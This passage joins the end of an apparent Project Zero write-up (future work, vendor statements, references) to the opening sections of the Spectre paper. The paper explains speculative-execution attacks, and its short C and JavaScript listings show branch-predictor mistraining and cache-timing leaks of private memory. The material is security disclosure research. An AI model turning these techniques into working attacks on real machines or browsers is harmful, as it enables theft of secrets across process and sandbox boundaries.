seems feasible to dump out the complete BTB state generated by e.g. a hypercall in a timeframe around

the order of a few hours. (Scan for jump sources, then for every discovered jump source, bisect the jump

target.) This could potentially be used to identify the locations of functions in the host kernel even if the

host kernel is custom-built.

The source address aliasing would reduce the usefulness somewhat, but because target addresses

don't suffer from that, it might be possible to correlate (source,target) pairs from machines with different

KASLR offsets and reduce the number of candidate addresses based on KASLR being additive while

aliasing is bitwise.
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This could then potentially allow an attacker to make guesses about the host kernel version or the

compiler used to build it based on jump offsets or distances between functions.

Variant 2: Leaking with more efficient gadgets

If sufficiently efficient gadgets are used for variant 2, it might not be necessary to evict host kernel

function pointers from the L3 cache at all; it might be sufficient to only evict them from L1D and L2.

Various speedups

In particular the variant 2 PoC is still a bit slow. This is probably partly because:

It only leaks one bit at a time; leaking more bits at a time should be doable.

It heavily uses IRETQ for hiding control flow from the processor.

It would be interesting to see what data leak rate can be achieved using variant 2.

Leaking or injection through the return predictor

If the return predictor also doesn't lose its state on a privilege level change, it might be useful for either

locating the host kernel from inside a VM (in which case bisection could be used to very quickly discover

the full address of the host kernel) or injecting return targets (in particular if the return address is stored

in a cache line that can be flushed out by the attacker and isn't reloaded before the return instruction).

However, we have not performed any experiments with the return predictor that yielded conclusive results

so far.

Leaking data out of the indirect call predictor

We have attempted to leak target information out of the indirect call predictor, but haven't been able to

make it work.

Vendor statements

The following statement were provided to us regarding this issue from the vendors to whom Project Zero

disclosed this vulnerability:

Intel

No current statement provided at this time.
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AMD

AMD provided the following link: http://www.amd.com/en/corporate/speculative-execution

ARM

Arm recognises that the speculation functionality of many modern high-performance processors, despite

working as intended, can be used in conjunction with the timing of cache operations to leak some

information as described in this blog. Correspondingly, Arm has developed software mitigations that we

recommend be deployed.

Specific details regarding the affected processors and mitigations can be found at this website:

https://developer.arm.com/support/security-update

Arm has included a detailed technical whitepaper as well as links to information from some of Arm’s

architecture partners regarding their specific implementations and mitigations.

Literature

Note that some of these documents - in particular Intel's documentation - change over time, so quotes

from and references to it may not reflect the latest version of Intel's documentation.

https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-

optimization-manual.pdf: Intel's optimization manual has many interesting pieces of optimization advice

that hint at relevant microarchitectural behavior; for example:

"Placing data immediately following an indirect branch can cause a performance problem. If the

data consists of all zeros, it looks like a long stream of ADDs to memory destinations and this can

cause resource conflicts and slow down branch recovery. Also, data immediately following indirect

branches may appear as branches to the branch predication [sic] hardware, which can branch off

to execute other data pages. This can lead to subsequent self-modifying code problems."

"Loads can:[...]Be carried out speculatively, before preceding branches are resolved."

"Software should avoid writing to a code page in the same 1-KByte subpage that is being executed

or fetching code in the same 2-KByte subpage of that is being written. In addition, sharing a page

containing directly or speculatively executed code with another processor as a data page can

trigger an SMC condition that causes the entire pipeline of the machine and the trace cache to be

cleared. This is due to the self-modifying code condition."

"if mapped as WB or WT, there is a potential for speculative processor reads to bring the data into

the caches"

"Failure to map the region as WC may allow the line to be speculatively read into the processor

caches (via the wrong path of a mispredicted branch)."

https://software.intel.com/en-us/articles/intel-sdm: Intel's Software Developer Manuals

http://www.amd.com/en/corporate/speculative-execution
https://developer.arm.com/support/security-update
https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf
https://software.intel.com/en-us/articles/intel-sdm
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http://www.agner.org/optimize/microarchitecture.pdf: Agner Fog's documentation of reverse-

engineered processor behavior and relevant theory was very helpful for this research.

http://www.cs.binghamton.edu/~dima/micro16.pdf and https://github.com/felixwilhelm/mario_baslr: Prior

research by Dmitry Evtyushkin, Dmitry Ponomarev and Nael Abu-Ghazaleh on abusing branch target

buffer behavior to leak addresses that we used as a starting point for analyzing the branch prediction

of Haswell processors. Felix Wilhelm's research based on this provided the basic idea behind variant

2.

https://arxiv.org/pdf/1507.06955.pdf: The rowhammer.js research by Daniel Gruss, Clémentine

Maurice and Stefan Mangard contains information about L3 cache eviction patterns that we reused in

the KVM PoC to evict a function pointer.

https://xania.org/201602/bpu-part-one: Matt Godbolt blogged about reverse-engineering the structure

of the branch predictor on Intel processors.

https://www.sophia.re/thesis.pdf: Sophia D'Antoine wrote a thesis that shows that opcode scheduling

can theoretically be used to transmit data between hyperthreads.

https://gruss.cc/files/kaiser.pdf: Daniel Gruss, Moritz Lipp, Michael Schwarz, Richard Fellner,

Clémentine Maurice, and Stefan Mangard wrote a paper on mitigating microarchitectural issues

caused by pagetable sharing between userspace and the kernel.

https://www.jilp.org/: This journal contains many articles on branch prediction.

http://blog.stuffedcow.net/2013/01/ivb-cache-replacement/: This blogpost by Henry Wong investigates

the L3 cache replacement policy used by Intel's Ivy Bridge architecture.
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Abstract
Modern processors use branch prediction and specula-
tive execution to maximize performance. For example, if
the destination of a branch depends on a memory value
that is in the process of being read, CPUs will try guess
the destination and attempt to execute ahead. When the
memory value finally arrives, the CPU either discards or
commits the speculative computation. Speculative logic
is unfaithful in how it executes, can access to the victim’s
memory and registers, and can perform operations with
measurable side effects.

Spectre attacks involve inducing a victim to specula-
tively perform operations that would not occur during
correct program execution and which leak the victim’s
confidential information via a side channel to the adver-
sary. This paper describes practical attacks that combine
methodology from side channel attacks, fault attacks,
and return-oriented programming that can read arbitrary
memory from the victim’s process. More broadly, the
paper shows that speculative execution implementations
violate the security assumptions underpinning numerous
software security mechanisms, including operating sys-
tem process separation, static analysis, containerization,
just-in-time (JIT) compilation, and countermeasures to
cache timing/side-channel attacks. These attacks repre-
sent a serious threat to actual systems, since vulnerable
speculative execution capabilities are found in micropro-
cessors from Intel, AMD, and ARM that are used in bil-
lions of devices.

While makeshift processor-specific countermeasures
are possible in some cases, sound solutions will require
fixes to processor designs as well as updates to instruc-
tion set architectures (ISAs) to give hardware architects
and software developers a common understanding as to
what computation state CPU implementations are (and
are not) permitted to leak.
∗After reporting the results here, we were informed that our work

partly overlaps the results of independent work done at Google’s
Project Zero.

1 Introduction

Computations performed by physical devices often leave
observable side effects beyond the computation’s nom-
inal outputs. Side channel attacks focus on exploit-
ing these side effects in order to extract otherwise-
unavailable secret information. Since their introduction
in the late 90’s [25], many physical effects such as power
consumption [23, 24], electromagnetic radiation [31], or
acoustic noise [17] have been leveraged to extract cryp-
tographic keys as well as other secrets.

While physical side channel attacks can be used to
extract secret information from complex devices such
as PCs and mobile phones [15, 16], these devices face
additional threats that do not require external measure-
ment equipment because they execute code from po-
tentially unknown origins. While some software-based
attacks exploit software vulnerabilities (such as buffer
overflow or use-after-free vulnerabilities ) other soft-
ware attacks leverage hardware vulnerabilities in order
to leak sensitive information. Attacks of the latter type
include microarchitectural attacks exploiting cache tim-
ing [9, 30, 29, 35, 21, 36, 28], branch prediction his-
tory [7, 6], or Branch Target Buffers [26, 11]). Software-
based techniques have also been used to mount fault at-
tacks that alter physical memory [22] or internal CPU
values [34].

Speculative execution is a technique used by high-
speed processors in order to increase performance by
guessing likely future execution paths and prematurely
executing the instructions in them. For example when
the program’s control flow depends on an uncached value
located in the physical memory, it may take several
hundred clock cycles before the value becomes known.
Rather than wasting these cycles by idling, the processor
guesses the direction of control flow, saves a checkpoint
of its register state, and proceeds to speculatively execute
the program on the guessed path. When the value even-
tually arrives from memory the processor checks the cor-
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rectness of its initial guess. If the guess was wrong, the
processor discards the (incorrect) speculative execution
by reverting the register state back to the stored check-
point, resulting in performance comparable to idling. In
case the guess was correct, however, the speculative ex-
ecution results are committed, yielding a significant per-
formance gain as useful work was accomplished during
the delay.

From a security perspective, speculative execution in-
volves executing a program in possibly incorrect ways.
However, as processors are designed to revert the results
of an incorrect speculative execution on their prior state
to maintain correctness, these errors were previously as-
sumed not to have any security implications.

1.1 Our Results

Exploiting Speculative Execution. In this paper, we
show a new class of microarchitectural attacks which we
call Spectre attacks. At a high level, Spectre attacks trick
the processor into speculatively executing instructions
sequences that should not have executed during correct
program execution. As the effects of these instructions
on the nominal CPU state will be eventually reverted, we
call them transient instructions. By carefully choosing
which transient instructions are speculatively executed,
we are able to leak information from within the victim’s
memory address space.

We empirically demonstrate the feasibility of Spectre
attacks by using transient instruction sequences in order
to leak information across security domains.
Attacks using Native Code. We created a simple vic-
tim program that contains secret data within its memory
access space. Next, after compiling the victim program
we searched the resulting binary and the operating sys-
tem’s shared libraries for instruction sequences that can
be used to leak information from the victim’s address
space. Finally, we wrote an attacker program that ex-
ploits the CPU’s speculative execution feature in order to
execute the previously-found sequences as transient in-
structions. Using this technique we were able to read the
entire victim’s memory address space, including the se-
crets stored within it.
Attacks using JavaScript. In addition to violating pro-
cess isolation boundaries using native code, Spectre at-
tacks can also be used to violate browser sandboxing, by
mounting them via portable JavaScript code. We wrote a
JavaScript program that successfully reads data from the
address space of the browser process running it.

1.2 Our Techniques
At a high level, a Spectre attack violates memory isola-
tion boundaries by combining speculative execution with

data exfiltration via microarchitectural covert channels.
More specifically, in order to mount a Spectre attack,
an attacker starts by locating a sequence of instructions
within the process address space which when executed
acts as a covert channel transmitter which leaks the vic-
tim’s memory or register contents. The attacker then
tricks the CPU into speculatively and erroneously exe-
cuting this instruction sequence, thereby leaking the vic-
tim’s information over the covert channel. Finally, the at-
tacker retrieves the victim’s information over the covert
channel. While the changes to the nominal CPU state
resulting from this erroneous speculative execution are
eventually reverted, changes to other microarchitectural
parts of the CPU (such as cache contents) can survive
nominal state reversion.

The above description of Spectre attacks is general,
and needs to be concretely instantiated with a way
to induce erroneous speculative execution as well as
with a microarchitectural covert channel. While many
choices are possible for the covert channel compo-
nent, the implementations described in this work use a
cache-based covert channel using Flush+Reload [37] or
Evict+Reload [28] techniques.

We now proceed to describe our techniques for induc-
ing and influencing erroneous speculative execution.
Exploiting Conditional Branches. To exploit condi-
tional branches, the attacker needs the branch predictor
to mispredict the direction of the branch, then the pro-
cessor must speculatively execute code that would not be
otherwise executed which leaks the information sought
by the attacker. Here is an example of exploitable code:

if (x < array1_size)

y = array2[array1[x] * 256];

In this example, the variable x contains attacker-
controlled data. The if statement compiles to a branch
instruction, whose purpose is to verify that the value
of x is within a legal range, ensuring that the access to
array1 is valid.

For the exploit, the attacker first invokes the relevant
code with valid inputs, training the branch predictor to
expect that the if will be true. The attacker then invokes
the code with a value of x outside the bounds of array1
and with array1 size uncached. The CPU guesses
that the bounds check will be true, the speculatively exe-
cutes the read from array2[array1[x] * 256] using
the malicious x. The read from array2 loads data into
the cache at an address that is dependent on array1[x]

using the malicious x. The change in the cache state is
not reverted when the processor realizes that the specu-
lative execution was erroneous, and can be detected by
the adversary to find a byte of the victim’s memory. By
repeating with different values of x, this construct can be
exploited to read the victim’s memory.
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Exploiting Indirect Branches. Drawing from return-
oriented programming (ROP) [33], in this method the at-
tacker chooses a gadget from the address space of the
victim and influences the victim to execute the gadget
speculatively. Unlike ROP, the attacker does not rely on
a vulnerability in the victim code. Instead, the attacker
trains the Branch Target Buffer (BTB) to mispredict a
branch from an indirect branch instruction to the address
of the gadget, resulting in a speculative execution of the
gadget. While the speculatively executed instructions are
abandoned, their effects on the cache are not reverted.
These effects can be used by the gadget to leak sensitive
information. We show how, with a careful selection of a
gadget, this method can be used to read arbitrary memory
from the victim.

To mistrain the BTB, the attacker finds the virtual ad-
dress of the gadget in the victim’s address space, then
performs indirect branches to this address. This training
is done from the attacker’s address space, and it does not
matter what resides at the gadget address in the attacker’s
address space; all that is required is that the branch used
for training branches to use the same destination virtual
address. (In fact, as long as the attacker handles excep-
tions, the attack can work even if there is no code mapped
at the virtual address of the gadget in the attacker’s ad-
dress space.) There is also no need for a complete match
of the source address of the branch used for training and
the address of the targetted branch. Thus, the attacker
has significant flexibility in setting up the training.

Other Variants. Further attacks can be designed by
varying both the method of achieving speculative execu-
tion and the method used to leak the information. Exam-
ples of the former include mistraining return instructions
or return from interrupts. Examples of the latter include
leaking information through timing variations or by gen-
erating contention on arithmetic units.

1.3 Targeted Hardware and Current Sta-
tus

Hardware. We have empirically verified the vulnera-
bility of several Intel processors to Spectre attacks, in-
cluding Ivy Bridge, Haswell and Skylake based proces-
sors. We have also verified the attack’s applicability
to AMD Ryzen CPUs. Finally, we have also success-
fully mounted Spectre attacks on several Samsung and
Qualcomm processors (which use an ARM architecture)
found in popular mobile phones.

Current Status. Using the practice of responsible dis-
closure, we have disclosed a preliminary version of our
results to Intel, AMD, ARM, Qualcomm as well as to
other CPU vendors. We have also contacted other com-
panies including Amazon, Apple, Microsoft, Google and

others. The Spectre family of attacks is documented un-
der CVE-2017-5753 and CVE-2017-5715.

1.4 Meltdown
Meltdown [27] is a related microarchitectural attack
which exploits out-of-order execution in order to leak
the target’s physical memory. Meltdown is distinct from
Spectre Attacks in two main ways. First, unlike Spectre,
Meltdown does not use branch prediction for achieving
speculative execution. Instead, it relies on the observa-
tion that when an instruction causes a trap, following in-
structions that were executed out-of-order are aborted.
Second, Meltdown exploits a privilege escalation vulner-
ability specific to Intel processors, due to which specula-
tively executed instructions can bypass memory protec-
tion. Combining these issues, Meltdown accesses kernel
memory from user space. This access causes a trap, but
before the trap is issued, the code that follows the ac-
cess leaks the contents of the accessed memory through
a cache channel.

Unlike Meltdown, the Spectre attack works on non-
Intel processors, including AMD and ARM processors.
Furthermore, the KAISER patch [19], which has been
widely applied as a mitigation to the Meltdown attack,
does not protect against Spectre.

2 Background

In this section we describe some of the microarchitec-
tural components of modern high-speed processors, how
they improve the performance, and how they can leak
information from running programs. We also describe
return-oriented-programming (ROP) and ‘gadgets’.

2.1 Out-of-order Execution
An out-of-order execution paradigm increases the uti-
lization of the processor’s components by allowing in-
structions further down the instruction stream of a pro-
gram to be executed in parallel with, and sometimes be-
fore, preceding instructions.

The processor queues completed instructions in the re-
order buffer. Instructions in the reorder buffer are retired
in the program execution order, i.e., an instruction is only
retired when all preceding instructions have been com-
pleted and retired.

Only upon retirement, the results of the retired instruc-
tions are committed and made visible externally.

2.2 Speculative Execution
Often, the processor does not know the future instruction
stream of a program. For example, this occurs when out-

3



of-order execution reaches a conditional branch instruc-
tion whose direction depends on preceding instructions
whose execution has not completed yet. In such cases,
the processor can make save a checkpoint containing its
current register state, make a prediction as to the path
that the program will follow, and speculatively execute
instructions along the path. If the prediction turns out to
be correct, the checkpoint is not needed and instructions
are retired in the program execution order. Otherwise,
when the processor determines that it followed the wrong
path, it abandons all pending instructions along the path
by reloading its state from the checkpoint and execution
resumes along the correct path.

Abandoning instructions is performed so that changes
made by instructions outside the program execution path
are not made visible to the program. Hence, the specula-
tive execution maintains the logical state of the program
as if execution followed the correct path.

2.3 Branch Prediction
Speculative execution requires that the processor make
guesses as to the likely outcome of branch instructions.
Better predictions improve performance by increasing
the number of speculatively executed operations that can
be successfully committed.

Several processor components are used for predict-
ing the outcome of branches. The Branch Target Buffer
(BTB) keeps a mapping from addresses of recently ex-
ecuted branch instructions to destination addresses [26].
Processors can uses the BTB to predict future code ad-
dresses even before decoding the branch instructions.
Evtyushkin et al. [11] analyze the BTB of a Intel Haswell
processor and conclude that only the 30 least significant
bits of the branch address are used to index the BTB. Our
experiments on show similar results but that only 20 bits
are required.

For conditional branches, recording the target address
is not sufficient for predicting the outcome of the branch.
To predict whether a conditional branch is taken or not,
the processor maintains a record of recent branches out-
comes. Bhattacharya et al. [10] analyze the structure of
branch history prediction in recent Intel processors.

2.4 The Memory Hierarchy
To bridge the speed gap between the faster processor and
the slower memory, processors use a hierarchy of suc-
cessively smaller but faster caches. The caches divide
the memory into fixed-size chunks called lines, with typ-
ical line sizes being 64 or 128 bytes. When the processor
needs data from memory, it first checks if the L1 cache,
at the top of the hierarchy, contains a copy. In the case
of a cache hit, when the data is found in the cache, the

data is retrieved from the L1 cache and used. Otherwise,
in a cache miss, the procedure is repeated to retrieve the
data from the next cache level. Additionally, the data is
stored in the L1 cache, in case it is needed again in the
near future. Modern Intel processors typically have three
cache levels, with each core having dedicated L1 and L2
caches and all cores sharing a common L3 cache, also
known as the Last-Level Cache (LLC).

2.5 Microarchitectural Side-Channel At-
tacks

All of the microarchitectural components we discuss
above improve the processor performance by predicting
future program behavior. To that aim, they maintain state
that depends on past program behavior and assume that
future behavior is similar to or related to past behavior.

When multiple programs execute on the same hard-
ware, either concurrently or via time sharing, changes
in the microarchitectural state caused by the behavior of
one program may affect other programs. This, in turn,
may result in unintended information leaks from one pro-
gram to another [13]. Past works have demonstrated at-
tacks that leak information through the BTB [26, 11],
branch history [7, 6], and caches [29, 30, 35, 21].

In this work we use the Flush+Reload technique [21,
36] and its variant, Evict+Reload [20] for leaking sensi-
tive information. Using these techniques, the attacker be-
gins by evicting from the cache a cache line shared with
the victim. After the victim executes for a while, the at-
tacker measures the time it takes to perform a memory
read at the address corresponding to the evicted cache
line. If the victim accessed the monitored cache line,
the data will be in the cache and the access will be fast.
Otherwise, if the victim has not accessed the line, the
read will be slow. Hence, by measuring the access time,
the attacker learns whether the victim accessed the mon-
itored cache line between the eviction and probing steps.

The main difference between the two techniques is the
mechanism used for evicting the monitored cache line
from the cache. In the Flush+Reload technique, the at-
tacker uses a dedicated machine instruction, e.g., x86’s
clflush, to evict the line. In Evict+Reload, eviction
is achieved by forcing contention on the cache set that
stores the line, e.g., by accessing other memory locations
which get bought into the cache and (due to the limited
size of the cache) cause the processor to discard the evict
the line that is subsequently probed.

2.6 Return-Oriented Programming
Return-Oriented Programming (ROP) [33] is a technique
for exploiting buffer overflow vulnerabilities. The tech-
nique works by chaining machine code snippets, called
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gadgets that are found in the code of the vulnerable vic-
tim. More specifically, the attacker first finds usable gad-
gets in the victim binary. She then uses a buffer overflow
vulnerability to write a sequence of addresses of gadgets
into the victim program stack. Each gadget performs
some computation before executing a return instruction.
The return instruction takes the return address from the
stack, and because the attacker control this address, the
return instruction effectively jumping into the next gad-
get in the chain.

3 Attack Overview

Spectre attacks induce a victim to speculatively perform
operations that would not occur during correct program
execution and which leak the victim’s confidential infor-
mation via a side channel to the adversary. We first de-
scribe variants that leverage conditional branch mispre-
dictions (Section 4), then variants that leverage mispre-
diction of the targets of indirect branches (Section 5).

In most cases, the attack begins with a setup phase,
where the adversary performs operations that mistrain
the processor so that it will later make an exploitably
erroneous speculative prediction. In addition, the setup
phase usually includes steps to that help induce spec-
ulative execution, such as performing targeted memory
reads that cause the processor to evict from its cache a
value that is required to determine the destination of a
branching instruction. During the setup phase, the ad-
versary can also prepare the side channel that will be
used for extracting the victim’s information, e.g. by per-
forming the flush or evict portion of a flush+reload or
evict+reload attack.

During the second phase, the processor speculatively
executes instruction(s) that transfer confidential informa-
tion from the victim context into a microarchitectural
side channel. This may be triggered by having the at-
tacker request that the victim to perform an action (e.g.,
via a syscall, socket, file, etc.). In other cases, the at-
tacker’s may leverage the speculative (mis-)execution of
its own code in order to obtain sensitive information from
the same process (e.g., if the attack code is sandboxed by
an interpreter, just-in-time compiler, or ‘safe’ language
and wishes to read memory it is not supposed to access).
While speculative execution can potentially expose sen-
sitive data via a broad range of side channels, the exam-
ples given cause speculative execution to read memory
value at an attacker-chosen address then perform a mem-
ory operation that modifies the cache state in a way that
exposes the value.

For the final phase, the sensitive data is recovered. For
Spectre attacks using flush+reload or evict+reload, the
recovery process consists of timing how long reads take

from memory addresses in the cache lines being moni-
tored.

Spectre attacks only assume that speculatively exe-
cuted instructions can read from memory that the victim
process could access normally, e.g., without triggering a
page fault or exception. For example, if a processor pre-
vents speculative execution of instructions in user pro-
cesses from accessing kernel memory, the attack will still
work. [12]. As a result, Spectre is orthogonal to Melt-
down [27] which exploits scenarios where some CPUs
allow out-of-order execution of user instructions to read
kernel memory.

4 Exploiting Conditional Branch Mispre-
diction

Consider the case where the code in Listing 1 is part
of a function (such as a kernel syscall or cryptographic
library) that receives an unsigned integer x from an
untrusted source. The process running the code has
access to an array of unsigned bytes array1 of size
array1 size, and a second byte array array2 of size
64KB.

if (x < array1_size)

y = array2[array1[x] * 256];

Listing 1: Conditional Branch Example

The code fragment begins with a bounds check on x

which is essential for security. In particular, this check
prevents the processor from reading sensitive memory
outside of array1. Otherwise, an out-of-bounds input
x could trigger an exception or could cause the processor
to access sensitive memory by supplying x= (address of
a secret byte to read)− (base address of array1).

Unfortunately, during speculative execution, the con-
ditional branch for the bounds check can follow the in-
correct path. For example, suppose an adversary causes
the code to run such that:

• the value of x is maliciously chosen (and out-of-
bounds) such that array1[x] resolves to a secret
byte k somewhere in the victim’s memory;

• array1 size and array2 are not present in the pro-
cessor’s cache, but k is cached; and

• previous operations received values of x that were
valid, leading the branch predictor to assume the if

will likely be true.

This cache configuration can occur naturally or can be
created by an adversary, e.g., by simply reading a large
amount of memory to fill the cache with unrelated val-
ues, then having the kernel use the secret key in a le-
gitimate operation. If the cache structure is known [38]
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or if the CPU provides a cache flush instruction (e.g.,
the x86 clflush instruction) then the cache state can be
achieved even more efficiently.

When the compiled code above runs, the processor
begins by comparing the malicious value of x against
array1 size. Reading array1 size results in a cache
miss, and the processor faces a substantial delay until
its value is available from DRAM. During this wait, the
branch predictor assumes the if will be true, and the
speculative execution logic adds x to the base address
of array1 and requests the data at the resulting address
from the memory subsystem. This read is a cache hit, and
quickly returns the value of the secret byte k. The specu-
lative execution logic then uses k to compute the address
of array2[k * 256], then sends a request to read this
address from memory (resulting in another cache miss).
While the read from array2 is pending, the value of
array1 size finally arrives from DRAM. The proces-
sor realizes that its speculative execution was erroneous,
and rewinds its register state. However, on actual proces-
sors, the speculative read from array2 affects the cache
state in an address-specific manner, where the address
depends on k.

To complete the attack, the adversary simply needs to
detect the change in the cache state to recover the se-
cret byte k. This is easy if array2 is readable by the
attacker since the next read to array2[n*256] will be
fast for n=k and slow for all other n ∈ 0..255. Other-
wise, a prime-and-probe attack [29] can infer k by de-
tecting the eviction caused by the read from array2. Al-
ternatively, the adversary can immediately call the tar-
get function again with an in-bounds value x’ and mea-
sure how long the second call takes. If array1[x’]

equals k, then the location accessed in array2 will be
in the cache and the operation will tend to be faster than
if array1[x’]! = k. This yields a memory compari-
son operation that, when called repeatedly, can solve for
memory bytes as desired. Another variant leverages the
cache state entering the speculative execution, since the
performance of the speculative execution changes based
on whether array2[k*256] was cached, which can then
be inferred based on any measurable effects from subse-
quent speculatively-executed instructions.

4.1 Discussion

Experiments were performed on multiple x86 processor
architectures, including Intel Ivy Bridge (i7-3630QM),
Intel Haswell (i7-4650U), Intel Skylake (unspecified
Xeon on Google Cloud), and AMD Ryzen. The Spectre
vulnerability was observed on all of these CPUs. Similar
results were observed on both 32- and 64-bit modes, and
both Linux and Windows. Some ARM processors also

support speculative execution [2], and initial testing has
confirmed that ARM processors are impacted as well.

Speculative execution can proceed far ahead of the
main processor. For example, on an i7 Surface Pro 3
(i7-4650U) used for most of the testing, the code in Ap-
pendix A works with up to 188 simple instructions in-
serted in the source code between the ‘if’ statement and
the line accessing array1/array2.

4.2 Example Implementation in C
Appendix A includes demonstration code in C for x86
processors.

In this code, if the compiled instructions in
victim function() were executed in strict program
order, the function would only read from array1[0..15]
since array1 size = 16. However, when executed
speculatively, out-of-bounds reads are possible.

The read memory byte() function makes several
training calls to victim function() to make the
branch predictor expect valid values for x, then calls
with an out-of-bounds x. The conditional branch mis-
predicts, and the ensuing speculative execution reads a
secret byte using the out-of-bounds x. The specula-
tive code then reads from array2[array1[x] * 512],
leaking the value of array1[x] into the cache state.

To complete the attack, a simple flush+probe is used
to identify which cache line in array2 was loaded, re-
veaing the memory contents. The attack is repeated sev-
eral times, so even if the target byte was initially un-
cached, the first iteration will bring it into the cache.

The unoptimized code in Appendix A reads approxi-
mately 10KB/second on an i7 Surface Pro 3.

4.3 Example Implementation in
JavaScript

As a proof-of-concept, JavaScript code was written
that, when run in the Google Chrome browser, allows
JavaScript to read private memory from the process
in which it runs (cf. Listing 2). The portion of the
JavaScript code used to perform the leakage is as fol-
lows, where the constant TABLE1 STRIDE = 4096 and
TABLE1 BYTES= 225:

On branch-predictor mistraining passes, index is set
(via bit operations) to an in-range value, then on the
final iteration index is set to an out-of-bounds address
into simpleByteArray. The variable localJunk is
used to ensure that operations are not optimized out,
and the “|0” operations act as optimization hints to the
JavaScript interpreter that values are integers.

Like other optimized JavaScript engines, V8 performs
just-in-time compilation to convert JavaScript into ma-
chine language. To obtain the x86 disassembly of the
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1 if (index < simpleByteArray.length) {
2 index = simpleByteArray[index | 0];
3 index = (((index * TABLE1_STRIDE)|0) & (TABLE1_BYTES-1))|0;
4 localJunk ^= probeTable[index|0]|0;
5 }

Listing 2: Exploiting Speculative Execution via JavaScript.

1 cmpl r15,[rbp-0xe0] ; Compare index (r15) against simpleByteArray.length

2 jnc 0x24dd099bb870 ; If index >= length, branch to instruction after movq below

3 REX.W leaq rsi,[r12+rdx*1] ; Set rsi=r12+rdx=addr of first byte in simpleByteArray

4 movzxbl rsi,[rsi+r15*1] ; Read byte from address rsi+r15 (= base address+index)

5 shll rsi, 12 ; Multiply rsi by 4096 by shifting left 12 bits}\%\

6 andl rsi,0x1ffffff ; AND reassures JIT that next operation is in-bounds

7 movzxbl rsi,[rsi+r8*1] ; Read from probeTable

8 xorl rsi,rdi ; XOR the read result onto localJunk

9 REX.W movq rdi,rsi ; Copy localJunk into rdi

Listing 3: Disassembly of Speculative Execution in JavaScript Example (Listing 2).

JIT output during development, the command-line tool
D8 was used. Manual tweaking of the source code lead-
ing up to the snippet above was done to get the value of
simpleByteArray.length in local memory (instead of
cached in a register or requiring multiple instructions to
fetch). See Listing 3 for the resulting disassembly output
from D8 (which uses AT&T assembly syntax).

The clflush instruction is not accessible from
JavaScript, so cache flushing was performed by reading
a series of addresses at 4096-byte intervals out of a large
array. Because of the memory and cache configuration
on Intel processors, a series of ˜2000 such reads (depend-
ing on the processor’s cache size) were adequate evict out
the data from the processor’s caches for addresses having
the same value in address bits 11–6 [38].

The leaked results are conveyed via the cache status
of probeTable[n*4096] for n ∈ 0..255, so each at-
tempt begins with a flushing pass consisting of a series
of reads made from probeTable[n*4096] using values
of n > 256. The cache appears to have several modes for
deciding which address to evict, so to encourage a LRU
(least-recently-used) mode, two indexes were used where
the second trailed the first by several operations. The
length parameter (e.g., [ebp-0xe0] in the disassembly)
needs to be evicted as well. Although its address is un-
known, but there are only 64 possible 64-byte offsets rel-
ative to the 4096-byte boundary, so all 64 possibilities
were tried to find the one that works.

JavaScript does not provide access to the rdtscp in-
struction, and Chrome intentionally degrades the accu-
racy of its high-resolution timer to dissuade timing at-
tacks using performance.now() [1]. However, the
Web Workers feature of HTML5 makes it simple to cre-
ate a separate thread that repeatedly decrements a value
in a shared memory location [18, 32]. This approach

yielded a high-resolution timer that provided sufficient
resolution.

5 Poisoning Indirect Branches

Indirect branch instructions have the ability to jump to
more than two possible target addresses. For example,
x86 instructions can jump to an address in a register
(“jmp eax”), an address in a memory location (“jmp
[eax]” or “jmp dword ptr [0x12345678]”), or an
address from the stack (“ret”). Indirect branches are
also supported on ARM (e.g., “MOV pc, r14”), MIPS
(e.g., “jr $ra”), RISC-V (e.g., “jalr x0,x1,0”), and
other processors.

If the determination of the destination address is de-
layed due to a cache miss and the branch predictor has
been mistrained with malicious destinations, speculative
execution may continue at a location chosen by the ad-
versary. As a result, speculative execution can be misdi-
rected to locations that would never occur during legit-
imate program execution. If speculative execution can
leave measurable side effects, this is extremely power-
ful for attackers, for example exposing victim memory
even in the absence of an exploitable conditional branch
misprediction.

Consider the case where an attacker seeking to read
a victim’s memory controls the values in two registers
(denoted R1 and R2) when an indirect branch occurs.
This is a common scenario; functions that manipulate
externally-received data routinely make function calls
while registers contain values that an attacker can con-
trol. (Often these values are ignored by the function; the
registers are pushed on the stack at the beginning of the
called function and restored at the end.)
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Assuming that the CPU limits speculative execution
to instructions in memory executable by the victim, the
adversary then needs to find a ‘gadget’ whose specula-
tive execution will leak chosen memory. For example,
a such a gadget would be formed by two instructions
(which do not necessarily need to be adjacent) where the
first adds (or XORs, subtracts, etc.) the memory loca-
tion addressed by R1 onto register R2, followed by any
instruction that accesses memory at the address in R2.
In this case, the gadget provides the attacker control (via
R1) over which address to leak and control (via R2) over
how the leaked memory maps to an address which gets
read by the second instruction. (The example implemen-
tation on Windows describes in more detail an example
memory reading process using such a gadget.)

Numerous other exploitation scenarios are possible,
depending on what state is known or controlled by the
adversary, where the information sought by the adver-
sary resides (e.g., registers, stack, memory, etc.), the ad-
versary’s ability to control speculative execution, what
instruction sequences are available to form gadgets, and
what channels can leak information from speculative op-
erations. For example, a cryptographic function that re-
turns a secret value in a register may become exploitable
if the attacker can simply induce speculative execution
at an instruction that brings into the cache memory at
the address specified in the register. Likewise, although
the example above assumes that the attacker controls two
registers (R1 and R2), attacker control over a single reg-
ister, value on the stack, or memory value is sufficient for
some gadgets.

In many ways, exploitation is similar to return-
oriented programming (ROP), except that correctly-
written software is vulnerable, gadgets are limited in
their duration but need not terminate cleanly (since the
CPU will eventually recognize the speculative error), and
gadgets must exfiltrate data via side channels rather than
explicitly. Still, speculative execution can perform com-
plex sequences of instructions, including reading from
the stack, performing arithmetic, branching (including
multiple times), and reading memory.

5.1 Discussion

Tests, primarily on a Haswell-based Surface Pro 3, con-
firmed that code executing in one hyper-thread of Intel
x86 processors can mistrain the branch predictor for code
running on the same CPU in a different hyper-thread.
Tests on Skylake additionally indicated branch history
mistraining between processes on the same vCPU (which
likely occurs on Haswell as well).

The branch predictor maintains a cache that maps a
jump histories to predicted jump destinations, so suc-
cessful mistraining requires convincing the branch pre-

dictor to create an entry whose history sufficiently mim-
ics the victim’s lead-up to the target branch, and whose
prediction destination is the virtual address of the gadget.

Several relevant hardware and operating system im-
plementation choices were observed, including:

• Speculative execution was only observed when the
branch destination address was executable by the vic-
tim thread, so gadgets need to be present in the mem-
ory regions executable by the victim.

• When multiple Windows applications share the same
DLL, normally a single copy is loaded and (except
for pages that are modified as described below) is
mapped to the same virtual address for all processes
using the DLL. For even a very simple Windows
application, the executable DLL pages in the work-
